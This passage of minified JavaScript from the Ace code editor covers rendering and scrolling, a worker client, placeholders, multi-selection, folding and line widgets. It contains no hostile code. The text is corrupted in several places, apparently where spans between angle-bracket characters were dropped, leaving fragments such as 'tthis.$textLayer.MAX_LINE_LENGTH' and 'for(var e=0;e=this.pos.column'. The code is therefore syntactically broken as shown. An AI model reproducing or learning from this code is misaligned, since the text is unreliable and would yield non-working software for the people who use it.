this.$changes|=e,this.onResize(!0);this.lineHeight||this.$textLayer.checkForSizeChanges(),this._signal("beforeRender",e),this.session&&this.session.$bidiHandler&&this.session.$bidiHandler.updateCharacterWidths(this.$fontMetrics);var i=this.layerConfig;if(e&this.CHANGE_FULL||e&this.CHANGE_SIZE||e&this.CHANGE_TEXT||e&this.CHANGE_LINES||e&this.CHANGE_SCROLL||e&this.CHANGE_H_SCROLL){if(e|=this.$computeLayerConfig()|this.$loop.clear(),i.firstRow!=this.layerConfig.firstRow&&i.firstRowScreen==this.layerConfig.firstRowScreen){var n=this.scrollTop+(i.firstRow-this.layerConfig.firstRow)*this.lineHeight;n>0&&(this.scrollTop=n,e|=this.CHANGE_SCROLL,e|=this.$computeLayerConfig()|this.$loop.clear())}i=this.layerConfig,this.$updateScrollBarV(),e&this.CHANGE_H_SCROLL&&this.$updateScrollBarH(),s.translate(this.content,-this.scrollLeft,-i.offset);var o=i.width+2*this.$padding+"px",r=i.minHeight+"px";s.setStyle(this.content.style,"width",o),s.setStyle(this.content.style,"height",r)}if(e&this.CHANGE_H_SCROLL&&(s.translate(this.content,-this.scrollLeft,-i.offset),this.scroller.className=this.scrollLeft<=0?"ace_scroller":"ace_scroller ace_scroll-left"),e&this.CHANGE_FULL)return this.$changedLines=null,this.$textLayer.update(i),this.$showGutter&&this.$gutterLayer.update(i),this.$markerBack.update(i),this.$markerFront.update(i),this.$cursorLayer.update(i),this.$moveTextAreaToCursor(),void this._signal("afterRender",e);if(e&this.CHANGE_SCROLL)return this.$changedLines=null,e&this.CHANGE_TEXT||e&this.CHANGE_LINES?this.$textLayer.update(i):this.$textLayer.scrollLines(i),this.$showGutter&&(e&this.CHANGE_GUTTER||e&this.CHANGE_LINES?this.$gutterLayer.update(i):this.$gutterLayer.scrollLines(i)),this.$markerBack.update(i),this.$markerFront.update(i),this.$cursorLayer.update(i),this.$moveTextAreaToCursor(),void this._signal("afterRender",e);e&this.CHANGE_TEXT?(this.$changedLines=null,this.$textLayer.update(i),this.$showGutter&&this.$gutterLayer.update(i)):e&this.CHANGE_LINES?(this.$updateLines()||e&this.CHANGE_GUTTER&&this.$showGutter)&&this.$gutterLayer.update(i):e&this.CHANGE_TEXT||e&this.CHANGE_GUTTER?this.$showGutter&&this.$gutterLayer.update(i):e&this.CHANGE_CURSOR&&this.$highlightGutterLine&&this.$gutterLayer.updateLineHighlight(i),e&this.CHANGE_CURSOR&&(this.$cursorLayer.update(i),this.$moveTextAreaToCursor()),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_FRONT)&&this.$markerFront.update(i),e&(this.CHANGE_MARKER|this.CHANGE_MARKER_BACK)&&this.$markerBack.update(i),this._signal("afterRender",e)}else this.$changes|=e},this.$autosize=function(){var e=this.session.getScreenLength()*this.lineHeight,t=this.$maxLines*this.lineHeight,i=Math.min(t,Math.max((this.$minLines||1)*this.lineHeight,e))+this.scrollMargin.v+(this.$extraHeight||0);this.$horizScroll&&(i+=this.scrollBarH.getHeight()),this.$maxPixelHeight&&i>this.$maxPixelHeight&&(i=this.$maxPixelHeight);var n=!(i<=2*this.lineHeight)&&e>t;if(i!=this.desiredHeight||this.$size.height!=this.desiredHeight||n!=this.$vScroll){n!=this.$vScroll&&(this.$vScroll=n,this.scrollBarV.setVisible(n));var s=this.container.clientWidth;this.container.style.height=i+"px",this.$updateCachedSize(!0,this.$gutterWidth,s,i),this.desiredHeight=i,this._signal("autosize")}},this.$computeLayerConfig=function(){var e=this.session,t=this.$size,i=t.height<=2*this.lineHeight,n=this.session.getScreenLength()*this.lineHeight,s=this.$getLongestLine(),o=!i&&(this.$hScrollBarAlwaysVisible||t.scrollerWidth-s-2*this.$padding<0),r=this.$horizScroll!==o;r&&(this.$horizScroll=o,this.scrollBarH.setVisible(o));var a=this.$vScroll;this.$maxLines&&this.lineHeight>1&&this.$autosize();var l=t.scrollerHeight+this.lineHeight,h=!this.$maxLines&&this.$scrollPastEnd?(t.scrollerHeight-this.lineHeight)*this.$scrollPastEnd:0;n+=h;var c=this.scrollMargin;this.session.setScrollTop(Math.max(-c.top,Math.min(this.scrollTop,n-t.scrollerHeight+c.bottom))),this.session.setScrollLeft(Math.max(-c.left,Math.min(this.scrollLeft,s+2*this.$padding-t.scrollerWidth+c.right)));var u=!i&&(this.$vScrollBarAlwaysVisible||t.scrollerHeight-n+h<0||this.scrollTop>c.top),d=a!==u;d&&(this.$vScroll=u,this.scrollBarV.setVisible(u));var g,f,m=this.scrollTop%this.lineHeight,p=Math.ceil(l/this.lineHeight)-1,v=Math.max(0,Math.round((this.scrollTop-m)/this.lineHeight)),w=v+p,$=this.lineHeight;v=e.screenToDocumentRow(v,0);var b=e.getFoldLine(v);b&&(v=b.start.row),g=e.documentToScreenRow(v,0),f=e.getRowLength(v)*$,w=Math.min(e.screenToDocumentRow(w,0),e.getLength()-1),l=t.scrollerHeight+e.getRowLength(w)*$+f,m=this.scrollTop-g*$;var y=0;return(this.layerConfig.width!=s||r)&&(y=this.CHANGE_H_SCROLL),(r||d)&&(y|=this.$updateCachedSize(!0,this.gutterWidth,t.width,t.height),this._signal("scrollbarVisibilityChanged"),d&&(s=this.$getLongestLine())),this.layerConfig={width:s,padding:this.$padding,firstRow:v,firstRowScreen:g,lastRow:w,lineHeight:$,characterWidth:this.characterWidth,minHeight:l,maxHeight:n,offset:m,gutterOffset:$?Math.max(0,Math.ceil((m+t.height-t.scrollerHeight)/$)):0,height:this.$size.scrollerHeight},this.session.$bidiHandler&&this.session.$bidiHandler.setContentWidth(s-this.$padding),y},this.$updateLines=function(){if(this.$changedLines){var e=this.$changedLines.firstRow,t=this.$changedLines.lastRow;this.$changedLines=null;var i=this.layerConfig;if(!(e>i.lastRow+1||tthis.$textLayer.MAX_LINE_LENGTH&&(e=this.$textLayer.MAX_LINE_LENGTH+30),Math.max(this.$size.scrollerWidth-2*this.$padding,Math.round(e*this.characterWidth))},this.updateFrontMarkers=function(){this.$markerFront.setMarkers(this.session.getMarkers(!0)),this.$loop.schedule(this.CHANGE_MARKER_FRONT)},this.updateBackMarkers=function(){this.$markerBack.setMarkers(this.session.getMarkers()),this.$loop.schedule(this.CHANGE_MARKER_BACK)},this.addGutterDecoration=function(e,t){this.$gutterLayer.addGutterDecoration(e,t)},this.removeGutterDecoration=function(e,t){this.$gutterLayer.removeGutterDecoration(e,t)},this.updateBreakpoints=function(e){this.$loop.schedule(this.CHANGE_GUTTER)},this.setAnnotations=function(e){this.$gutterLayer.setAnnotations(e),this.$loop.schedule(this.CHANGE_GUTTER)},this.updateCursor=function(){this.$loop.schedule(this.CHANGE_CURSOR)},this.hideCursor=function(){this.$cursorLayer.hideCursor()},this.showCursor=function(){this.$cursorLayer.showCursor()},this.scrollSelectionIntoView=function(e,t,i){this.scrollCursorIntoView(e,i),this.scrollCursorIntoView(t,i)},this.scrollCursorIntoView=function(e,t,i){if(0!==this.$size.scrollerHeight){var n=this.$cursorLayer.getPixelPosition(e),s=n.left,o=n.top,r=i&&i.top||0,a=i&&i.bottom||0,l=this.$scrollAnimation?this.session.getScrollTop():this.scrollTop;l+r>o?(t&&l+r>o+this.lineHeight&&(o-=t*this.$size.scrollerHeight),0===o&&(o=-this.scrollMargin.top),this.session.setScrollTop(o)):l+this.$size.scrollerHeight-as?(s=1-this.scrollMargin.top||(t>0&&this.session.getScrollTop()+this.$size.scrollerHeight-this.layerConfig.maxHeight<-1+this.scrollMargin.bottom||(e<0&&this.session.getScrollLeft()>=1-this.scrollMargin.left||(e>0&&this.session.getScrollLeft()+this.$size.scrollerWidth-this.layerConfig.width<-1+this.scrollMargin.right||void 0)))},this.pixelToScreenCoordinates=function(e,t){var i;if(this.$hasCssTransforms){i={top:0,left:0};var n=this.$fontMetrics.transformCoordinates([e,t]);e=n[1]-this.gutterWidth-this.margin.left,t=n[0]}else i=this.scroller.getBoundingClientRect();var s=e+this.scrollLeft-i.left-this.$padding,o=s/this.characterWidth,r=Math.floor((t+this.scrollTop-i.top)/this.lineHeight),a=this.$blockCursor?Math.floor(o):Math.round(o);return{row:r,column:a,side:o-a>0?1:-1,offsetX:s}},this.screenToTextCoordinates=function(e,t){var i;if(this.$hasCssTransforms){i={top:0,left:0};var n=this.$fontMetrics.transformCoordinates([e,t]);e=n[1]-this.gutterWidth-this.margin.left,t=n[0]}else i=this.scroller.getBoundingClientRect();var s=e+this.scrollLeft-i.left-this.$padding,o=s/this.characterWidth,r=this.$blockCursor?Math.floor(o):Math.round(o),a=Math.floor((t+this.scrollTop-i.top)/this.lineHeight);return this.session.screenToDocumentPosition(a,Math.max(r,0),s)},this.textToScreenCoordinates=function(e,t){var i=this.scroller.getBoundingClientRect(),n=this.session.documentToScreenPosition(e,t),s=this.$padding+(this.session.$bidiHandler.isBidiRow(n.row,e)?this.session.$bidiHandler.getPosLeft(n.column):Math.round(n.column*this.characterWidth)),o=n.row*this.lineHeight;return{pageX:i.left+s-this.scrollLeft,pageY:i.top+o-this.scrollTop}},this.visualizeFocus=function(){s.addCssClass(this.container,"ace_focus")},this.visualizeBlur=function(){s.removeCssClass(this.container,"ace_focus")},this.showComposition=function(e){this.$composition=e,e.cssText||(e.cssText=this.textarea.style.cssText),null==e.useTextareaForIME&&(e.useTextareaForIME=this.$useTextareaForIME),this.$useTextareaForIME?(s.addCssClass(this.textarea,"ace_composition"),this.textarea.style.cssText="",this.$moveTextAreaToCursor(),this.$cursorLayer.element.style.display="none"):e.markerId=this.session.addMarker(e.markerRange,"ace_composition_marker","text")},this.setCompositionText=function(e){var t=this.session.selection.cursor;this.addToken(e,"composition_placeholder",t.row,t.column),this.$moveTextAreaToCursor()},this.hideComposition=function(){if(this.$composition){this.$composition.markerId&&this.session.removeMarker(this.$composition.markerId),s.removeCssClass(this.textarea,"ace_composition"),this.textarea.style.cssText=this.$composition.cssText;var e=this.session.selection.cursor;this.removeExtraToken(e.row,e.column),this.$composition=null,this.$cursorLayer.element.style.display=""}},this.addToken=function(e,t,i,n){var s=this.session;s.bgTokenizer.lines[i]=null;var o={type:t,value:e},r=s.getTokens(i);if(null==n)r.push(o);else for(var a=0,l=0;l50&&e.length>this.$doc.getLength()>>1?this.call("setValue",[this.$doc.getValue()]):this.emit("change",{data:e}))}}).call(l.prototype);t.UIWorkerClient=function(e,t,i){var n=null,s=!1,a=Object.create(o),h=[],c=new l({messageBuffer:h,terminate:function(){},postMessage:function(e){h.push(e),n&&(s?setTimeout(u):u())}});c.setEmitSync=function(e){s=e};var u=function(){var e=h.shift();e.command?n[e.command].apply(n,e.args):e.event&&a._signal(e.event,e.data)};return a.postMessage=function(e){c.onMessage({data:e})},a.callback=function(e,t){this.postMessage({type:"call",id:t,data:e})},a.emit=function(e,t){this.postMessage({type:"event",name:e,data:t})},r.loadModule(["worker",t],(function(e){for(n=new e[i](a);h.length;)u()})),c},t.WorkerClient=l,t.createWorker=a})),define("ace/placeholder",["require","exports","module","ace/range","ace/lib/event_emitter","ace/lib/oop"],(function(e,t,i){"use strict";var n=e("./range").Range,s=e("./lib/event_emitter").EventEmitter,o=e("./lib/oop"),r=function(e,t,i,n,s,o){var r=this;this.length=t,this.session=e,this.doc=e.getDocument(),this.mainClass=s,this.othersClass=o,this.$onUpdate=this.onUpdate.bind(this),this.doc.on("change",this.$onUpdate,!0),this.$others=n,this.$onCursorChange=function(){setTimeout((function(){r.onCursorChange()}))},this.$pos=i;var a=e.getUndoManager().$undoStack||e.getUndoManager().$undostack||{length:-1};this.$undoStackDepth=a.length,this.setup(),e.selection.on("changeCursor",this.$onCursorChange)};(function(){o.implement(this,s),this.setup=function(){var e=this,t=this.doc,i=this.session;this.selectionBefore=i.selection.toJSON(),i.selection.inMultiSelectMode&&i.selection.toSingleRange(),this.pos=t.createAnchor(this.$pos.row,this.$pos.column);var s=this.pos;s.$insertRight=!0,s.detach(),s.markerId=i.addMarker(new n(s.row,s.column,s.row,s.column+this.length),this.mainClass,null,!1),this.others=[],this.$others.forEach((function(i){var n=t.createAnchor(i.row,i.column);n.$insertRight=!0,n.detach(),e.others.push(n)})),i.setUndoSelect(!1)},this.showOtherMarkers=function(){if(!this.othersActive){var e=this.session,t=this;this.othersActive=!0,this.others.forEach((function(i){i.markerId=e.addMarker(new n(i.row,i.column,i.row,i.column+t.length),t.othersClass,null,!1)}))}},this.hideOtherMarkers=function(){if(this.othersActive){this.othersActive=!1;for(var e=0;e=this.pos.column&&t.start.column<=this.pos.column+this.length+1,o=t.start.column-this.pos.column;if(this.updateAnchors(e),s&&(this.length+=i),s&&!this.session.$fromUndo)if("insert"===e.action)for(var r=this.others.length-1;r>=0;r--){var a={row:(l=this.others[r]).row,column:l.column+o};this.doc.insertMergedLines(a,e.lines)}else if("remove"===e.action)for(r=this.others.length-1;r>=0;r--){var l;a={row:(l=this.others[r]).row,column:l.column+o};this.doc.remove(new n(a.row,a.column,a.row,a.column-i))}this.$updating=!1,this.updateMarkers()}},this.updateAnchors=function(e){this.pos.onChange(e);for(var t=this.others.length;t--;)this.others[t].onChange(e);this.updateMarkers()},this.updateMarkers=function(){if(!this.$updating){var e=this,t=this.session,i=function(i,s){t.removeMarker(i.markerId),i.markerId=t.addMarker(new n(i.row,i.column,i.row,i.column+e.length),s,null,!1)};i(this.pos,this.mainClass);for(var s=this.others.length;s--;)i(this.others[s],this.othersClass)}},this.onCursorChange=function(e){if(!this.$updating&&this.session){var t=this.session.selection.getCursor();t.row===this.pos.row&&t.column>=this.pos.column&&t.column<=this.pos.column+this.length?(this.showOtherMarkers(),this._emit("cursorEnter",e)):(this.hideOtherMarkers(),this._emit("cursorLeave",e))}},this.detach=function(){this.session.removeMarker(this.pos&&this.pos.markerId),this.hideOtherMarkers(),this.doc.off("change",this.$onUpdate),this.session.selection.off("changeCursor",this.$onCursorChange),this.session.setUndoSelect(!0),this.session=null},this.cancel=function(){if(-1!==this.$undoStackDepth){for(var e=this.session.getUndoManager(),t=(e.$undoStack||e.$undostack).length-this.$undoStackDepth,i=0;i1?e.multiSelect.joinSelections():e.multiSelect.splitIntoLines()},bindKey:{win:"Ctrl-Alt-L",mac:"Ctrl-Alt-L"},readOnly:!0},{name:"splitSelectionIntoLines",description:"Split into lines",exec:function(e){e.multiSelect.splitIntoLines()},readOnly:!0},{name:"alignCursors",description:"Align cursors",exec:function(e){e.alignCursors()},bindKey:{win:"Ctrl-Alt-A",mac:"Ctrl-Alt-A"},scrollIntoView:"cursor"},{name:"findAll",description:"Find all",exec:function(e){e.findAll()},bindKey:{win:"Ctrl-Alt-K",mac:"Ctrl-Alt-G"},scrollIntoView:"cursor",readOnly:!0}],t.multiSelectCommands=[{name:"singleSelection",description:"Single selection",bindKey:"esc",exec:function(e){e.exitMultiSelectMode()},scrollIntoView:"cursor",readOnly:!0,isAvailable:function(e){return e&&e.inMultiSelectMode}}];var n=e("../keyboard/hash_handler").HashHandler;t.keyboardHandler=new n(t.multiSelectCommands)})),define("ace/multi_select",["require","exports","module","ace/range_list","ace/range","ace/selection","ace/mouse/multi_select_handler","ace/lib/event","ace/lib/lang","ace/commands/multi_select_commands","ace/search","ace/edit_session","ace/editor","ace/config"],(function(e,t,i){var n=e("./range_list").RangeList,s=e("./range").Range,o=e("./selection").Selection,r=e("./mouse/multi_select_handler").onMouseDown,a=e("./lib/event"),l=e("./lib/lang"),h=e("./commands/multi_select_commands");t.commands=h.defaultCommands.concat(h.multiSelectCommands);var c=new(0,e("./search").Search);var u=e("./edit_session").EditSession;(function(){this.getSelectionMarkers=function(){return this.$selectionMarkers}}).call(u.prototype),function(){this.ranges=null,this.rangeList=null,this.addRange=function(e,t){if(e){if(!this.inMultiSelectMode&&0===this.rangeCount){var i=this.toOrientedRange();if(this.rangeList.add(i),this.rangeList.add(e),2!=this.rangeList.ranges.length)return this.rangeList.removeAll(),t||this.fromOrientedRange(e);this.rangeList.removeAll(),this.rangeList.add(i),this.$onAddRange(i)}e.cursor||(e.cursor=e.end);var n=this.rangeList.add(e);return this.$onAddRange(e),n.length&&this.$onRemoveRange(n),this.rangeCount>1&&!this.inMultiSelectMode&&(this._signal("multiSelect"),this.inMultiSelectMode=!0,this.session.$undoSelect=!1,this.rangeList.attach(this.session)),t||this.fromOrientedRange(e)}},this.toSingleRange=function(e){e=e||this.ranges[0];var t=this.rangeList.removeAll();t.length&&this.$onRemoveRange(t),e&&this.fromOrientedRange(e)},this.substractPoint=function(e){var t=this.rangeList.substractPoint(e);if(t)return this.$onRemoveRange(t),t[0]},this.mergeOverlappingRanges=function(){var e=this.rangeList.merge();e.length&&this.$onRemoveRange(e)},this.$onAddRange=function(e){this.rangeCount=this.rangeList.ranges.length,this.ranges.unshift(e),this._signal("addRange",{range:e})},this.$onRemoveRange=function(e){if(this.rangeCount=this.rangeList.ranges.length,1==this.rangeCount&&this.inMultiSelectMode){var t=this.rangeList.ranges.pop();e.push(t),this.rangeCount=0}for(var i=e.length;i--;){var n=this.ranges.indexOf(e[i]);this.ranges.splice(n,1)}this._signal("removeRange",{ranges:e}),0===this.rangeCount&&this.inMultiSelectMode&&(this.inMultiSelectMode=!1,this._signal("singleSelect"),this.session.$undoSelect=!0,this.rangeList.detach(this.session)),(t=t||this.ranges[0])&&!t.isEqual(this.getRange())&&this.fromOrientedRange(t)},this.$initRangeList=function(){this.rangeList||(this.rangeList=new n,this.ranges=[],this.rangeCount=0)},this.getAllRanges=function(){return this.rangeCount?this.rangeList.ranges.concat():[this.getRange()]},this.splitIntoLines=function(){for(var e=this.ranges.length?this.ranges:[this.getRange()],t=[],i=0;i1){var e=this.rangeList.ranges,t=e[e.length-1],i=s.fromPoints(e[0].start,t.end);this.toSingleRange(),this.setSelectionRange(i,t.cursor==t.start)}else{var n=this.session.documentToScreenPosition(this.cursor),o=this.session.documentToScreenPosition(this.anchor);this.rectangularRangeBlock(n,o).forEach(this.addRange,this)}},this.rectangularRangeBlock=function(e,t,i){var n=[],o=e.column0;)w--;if(w>0)for(var $=0;n[$].isEmpty();)$++;for(var b=w;b>=$;b--)n[b].isEmpty()&&n.splice(b,1)}return n}}.call(o.prototype);var d=e("./editor").Editor;function g(e){e.$multiselectOnSessionChange||(e.$onAddRange=e.$onAddRange.bind(e),e.$onRemoveRange=e.$onRemoveRange.bind(e),e.$onMultiSelect=e.$onMultiSelect.bind(e),e.$onSingleSelect=e.$onSingleSelect.bind(e),e.$multiselectOnSessionChange=t.onSessionChange.bind(e),e.$checkMultiselectChange=e.$checkMultiselectChange.bind(e),e.$multiselectOnSessionChange(e),e.on("changeSession",e.$multiselectOnSessionChange),e.on("mousedown",r),e.commands.addCommands(h.defaultCommands),function(e){if(!e.textInput)return;var t=e.textInput.getElement(),i=!1;function n(t){i&&(e.renderer.setMouseCursor(""),i=!1)}a.addListener(t,"keydown",(function(t){var s=18==t.keyCode&&!(t.ctrlKey||t.shiftKey||t.metaKey);e.$blockSelectEnabled&&s?i||(e.renderer.setMouseCursor("crosshair"),i=!0):i&&n()}),e),a.addListener(t,"keyup",n,e),a.addListener(t,"blur",n,e)}(e))}(function(){this.updateSelectionMarkers=function(){this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.addSelectionMarker=function(e){e.cursor||(e.cursor=e.end);var t=this.getSelectionStyle();return e.marker=this.session.addMarker(e,"ace_selection",t),this.session.$selectionMarkers.push(e),this.session.selectionMarkerCount=this.session.$selectionMarkers.length,e},this.removeSelectionMarker=function(e){if(e.marker){this.session.removeMarker(e.marker);var t=this.session.$selectionMarkers.indexOf(e);-1!=t&&this.session.$selectionMarkers.splice(t,1),this.session.selectionMarkerCount=this.session.$selectionMarkers.length}},this.removeSelectionMarkers=function(e){for(var t=this.session.$selectionMarkers,i=e.length;i--;){var n=e[i];if(n.marker){this.session.removeMarker(n.marker);var s=t.indexOf(n);-1!=s&&t.splice(s,1)}}this.session.selectionMarkerCount=t.length},this.$onAddRange=function(e){this.addSelectionMarker(e.range),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onRemoveRange=function(e){this.removeSelectionMarkers(e.ranges),this.renderer.updateCursor(),this.renderer.updateBackMarkers()},this.$onMultiSelect=function(e){this.inMultiSelectMode||(this.inMultiSelectMode=!0,this.setStyle("ace_multiselect"),this.keyBinding.addKeyboardHandler(h.keyboardHandler),this.commands.setDefaultHandler("exec",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers())},this.$onSingleSelect=function(e){this.session.multiSelect.inVirtualMode||(this.inMultiSelectMode=!1,this.unsetStyle("ace_multiselect"),this.keyBinding.removeKeyboardHandler(h.keyboardHandler),this.commands.removeDefaultHandler("exec",this.$onMultiSelectExec),this.renderer.updateCursor(),this.renderer.updateBackMarkers(),this._emit("changeSelection"))},this.$onMultiSelectExec=function(e){var t=e.command,i=e.editor;if(i.multiSelect){if(t.multiSelectAction)"forEach"==t.multiSelectAction?n=i.forEachSelection(t,e.args):"forEachLine"==t.multiSelectAction?n=i.forEachSelection(t,e.args,!0):"single"==t.multiSelectAction?(i.exitMultiSelectMode(),n=t.exec(i,e.args||{})):n=t.multiSelectAction(i,e.args||{});else{var n=t.exec(i,e.args||{});i.multiSelect.addRange(i.multiSelect.toOrientedRange()),i.multiSelect.mergeOverlappingRanges()}return n}},this.forEachSelection=function(e,t,i){if(!this.inVirtualSelectionMode){var n,s=i&&i.keepOrder,r=1==i||i&&i.$byLines,a=this.session,l=this.selection,h=l.rangeList,c=(s?l:h).ranges;if(!c.length)return e.exec?e.exec(this,t||{}):e(this,t||{});var u=l._eventRegistry;l._eventRegistry={};var d=new o(a);this.inVirtualSelectionMode=!0;for(var g=c.length;g--;){if(r)for(;g>0&&c[g].start.row==c[g-1].end.row;)g--;d.fromOrientedRange(c[g]),d.index=g,this.selection=a.selection=d;var f=e.exec?e.exec(this,t||{}):e(this,t||{});n||void 0===f||(n=f),d.toOrientedRange(c[g])}d.detach(),this.selection=a.selection=l,this.inVirtualSelectionMode=!1,l._eventRegistry=u,l.mergeOverlappingRanges(),l.ranges[0]&&l.fromOrientedRange(l.ranges[0]);var m=this.renderer.$scrollAnimation;return this.onCursorChange(),this.onSelectionChange(),m&&m.from==m.to&&this.renderer.animateScrolling(m.from),n}},this.exitMultiSelectMode=function(){this.inMultiSelectMode&&!this.inVirtualSelectionMode&&this.multiSelect.toSingleRange()},this.getSelectedText=function(){var e="";if(this.inMultiSelectMode&&!this.inVirtualSelectionMode){for(var t=this.multiSelect.rangeList.ranges,i=[],n=0;nr&&(r=i.column),nc?e.insert(n,l.stringRepeat(" ",o-c)):e.remove(new s(n.row,n.column,n.row,n.column-o+c)),t.start.column=t.end.column=r,t.start.row=t.end.row=n.row,t.cursor=t.end})),t.fromOrientedRange(i[0]),this.renderer.updateCursor(),this.renderer.updateBackMarkers()}else{var c=this.selection.getRange(),u=c.start.row,d=c.end.row,g=u==d;if(g){var f,m=this.session.getLength();do{f=this.session.getLine(d)}while(/[=:]/.test(f)&&++d0);u<0&&(u=0),d>=m&&(d=m-1)}var p=this.session.removeFullLines(u,d);p=this.$reAlignText(p,g),this.session.insert({row:u,column:0},p.join("\n")+"\n"),g||(c.start.column=0,c.end.column=p[p.length-1].length),this.selection.setRange(c)}},this.$reAlignText=function(e,t){var i,n,s,o=!0,r=!0;return e.map((function(e){var t=e.match(/(\s*)(.*?)(\s*)([=:].*)/);return t?null==i?(i=t[1].length,n=t[2].length,s=t[3].length,t):(i+n+s!=t[1].length+t[2].length+t[3].length&&(r=!1),i!=t[1].length&&(o=!1),i>t[1].length&&(i=t[1].length),nt[3].length&&(s=t[3].length),t):[e]})).map(t?h:o?r?function(e){return e[2]?a(i+n-e[2].length)+e[2]+a(s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}:h:function(e){return e[2]?a(i)+e[2]+a(s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]});function a(e){return l.stringRepeat(" ",e)}function h(e){return e[2]?a(i)+e[2]+a(n-e[2].length+s)+e[4].replace(/^([=:])\s+/,"$1 "):e[0]}}}).call(d.prototype),t.onSessionChange=function(e){var t=e.session;t&&!t.multiSelect&&(t.$selectionMarkers=[],t.selection.$initRangeList(),t.multiSelect=t.selection),this.multiSelect=t&&t.multiSelect;var i=e.oldSession;i&&(i.multiSelect.off("addRange",this.$onAddRange),i.multiSelect.off("removeRange",this.$onRemoveRange),i.multiSelect.off("multiSelect",this.$onMultiSelect),i.multiSelect.off("singleSelect",this.$onSingleSelect),i.multiSelect.lead.off("change",this.$checkMultiselectChange),i.multiSelect.anchor.off("change",this.$checkMultiselectChange)),t&&(t.multiSelect.on("addRange",this.$onAddRange),t.multiSelect.on("removeRange",this.$onRemoveRange),t.multiSelect.on("multiSelect",this.$onMultiSelect),t.multiSelect.on("singleSelect",this.$onSingleSelect),t.multiSelect.lead.on("change",this.$checkMultiselectChange),t.multiSelect.anchor.on("change",this.$checkMultiselectChange)),t&&this.inMultiSelectMode!=t.selection.inMultiSelectMode&&(t.selection.inMultiSelectMode?this.$onMultiSelect():this.$onSingleSelect())},t.MultiSelect=g,e("./config").defineOptions(d.prototype,"editor",{enableMultiselect:{set:function(e){g(this),e?(this.on("changeSession",this.$multiselectOnSessionChange),this.on("mousedown",r)):(this.off("changeSession",this.$multiselectOnSessionChange),this.off("mousedown",r))},value:!0},enableBlockSelect:{set:function(e){this.$blockSelectEnabled=e},value:!0}})})),define("ace/mode/folding/fold_mode",["require","exports","module","ace/range"],(function(e,t,i){"use strict";var n=e("../../range").Range,s=t.FoldMode=function(){};(function(){this.foldingStartMarker=null,this.foldingStopMarker=null,this.getFoldWidget=function(e,t,i){var n=e.getLine(i);return this.foldingStartMarker.test(n)?"start":"markbeginend"==t&&this.foldingStopMarker&&this.foldingStopMarker.test(n)?"end":""},this.getFoldWidgetRange=function(e,t,i){return null},this.indentationBlock=function(e,t,i){var s=/\S/,o=e.getLine(t),r=o.search(s);if(-1!=r){for(var a=i||o.length,l=e.getLength(),h=t,c=t;++th){var g=e.getLine(c).length;return new n(h,a,c,g)}}},this.openingBracketBlock=function(e,t,i,s,o){var r={row:i,column:s+1},a=e.$findClosingBracket(t,r,o);if(a){var l=e.foldWidgets[a.row];return null==l&&(l=e.getFoldWidget(a.row)),"start"==l&&a.row>r.row&&(a.row--,a.column=e.getLine(a.row).length),n.fromPoints(r,a)}},this.closingBracketBlock=function(e,t,i,s,o){var r={row:i,column:s},a=e.$findOpeningBracket(t,r);if(a)return a.column++,r.column--,n.fromPoints(a,r)}}).call(s.prototype)})),define("ace/line_widgets",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("./lib/dom");function s(e){this.session=e,this.session.widgetManager=this,this.session.getRowLength=this.getRowLength,this.session.$getWidgetScreenLength=this.$getWidgetScreenLength,this.updateOnChange=this.updateOnChange.bind(this),this.renderWidgets=this.renderWidgets.bind(this),this.measureWidgets=this.measureWidgets.bind(this),this.session._changedWidgets=[],this.$onChangeEditor=this.$onChangeEditor.bind(this),this.session.on("change",this.updateOnChange),this.session.on("changeFold",this.updateOnFold),this.session.on("changeEditor",this.$onChangeEditor)}(function(){this.getRowLength=function(e){var t;return t=this.lineWidgets&&this.lineWidgets[e]&&this.lineWidgets[e].rowCount||0,this.$useWrapMode&&this.$wrapData[e]?this.$wrapData[e].length+1+t:1+t},this.$getWidgetScreenLength=function(){var e=0;return this.lineWidgets.forEach((function(t){t&&t.rowCount&&!t.hidden&&(e+=t.rowCount)})),e},this.$onChangeEditor=function(e){this.attach(e.editor)},this.attach=function(e){e&&e.widgetManager&&e.widgetManager!=this&&e.widgetManager.detach(),this.editor!=e&&(this.detach(),this.editor=e,e&&(e.widgetManager=this,e.renderer.on("beforeRender",this.measureWidgets),e.renderer.on("afterRender",this.renderWidgets)))},this.detach=function(e){var t=this.editor;if(t){this.editor=null,t.widgetManager=null,t.renderer.off("beforeRender",this.measureWidgets),t.renderer.off("afterRender",this.renderWidgets);var i=this.session.lineWidgets;i&&i.forEach((function(e){e&&e.el&&e.el.parentNode&&(e._inDocument=!1,e.el.parentNode.removeChild(e.el))}))}},this.updateOnFold=function(e,t){var i=t.lineWidgets;if(i&&e.action){for(var n=e.data,s=n.start.row,o=n.end.row,r="add"==e.action,a=s+1;at[i].column&&i++,o.unshift(i,0),t.splice.apply(t,o),this.$updateRows()}}},this.$updateRows=function(){var e=this.session.lineWidgets;if(e){var t=!0;e.forEach((function(e,i){if(e)for(t=!1,e.row=i;e.$oldWidget;)e.$oldWidget.row=i,e=e.$oldWidget})),t&&(this.session.lineWidgets=null)}},this.$registerLineWidget=function(e){this.session.lineWidgets||(this.session.lineWidgets=new Array(this.session.getLength()));var t=this.session.lineWidgets[e.row];return t&&(e.$oldWidget=t,t.el&&t.el.parentNode&&(t.el.parentNode.removeChild(t.el),t._inDocument=!1)),this.session.lineWidgets[e.row]=e,e},this.addLineWidget=function(e){if(this.$registerLineWidget(e),e.session=this.session,!this.editor)return e;var t=this.editor.renderer;e.html&&!e.el&&(e.el=n.createElement("div"),e.el.innerHTML=e.html),e.el&&(n.addCssClass(e.el,"ace_lineWidgetContainer"),e.el.style.position="absolute",e.el.style.zIndex=5,t.container.appendChild(e.el),e._inDocument=!0,e.coverGutter||(e.el.style.zIndex=3),null==e.pixelHeight&&(e.pixelHeight=e.el.offsetHeight)),null==e.rowCount&&(e.rowCount=e.pixelHeight/t.layerConfig.lineHeight);var i=this.session.getFoldAt(e.row,0);if(e.$fold=i,i){var s=this.session.lineWidgets;e.row!=i.end.row||s[i.start.row]?e.hidden=!0:s[i.start.row]=e}return 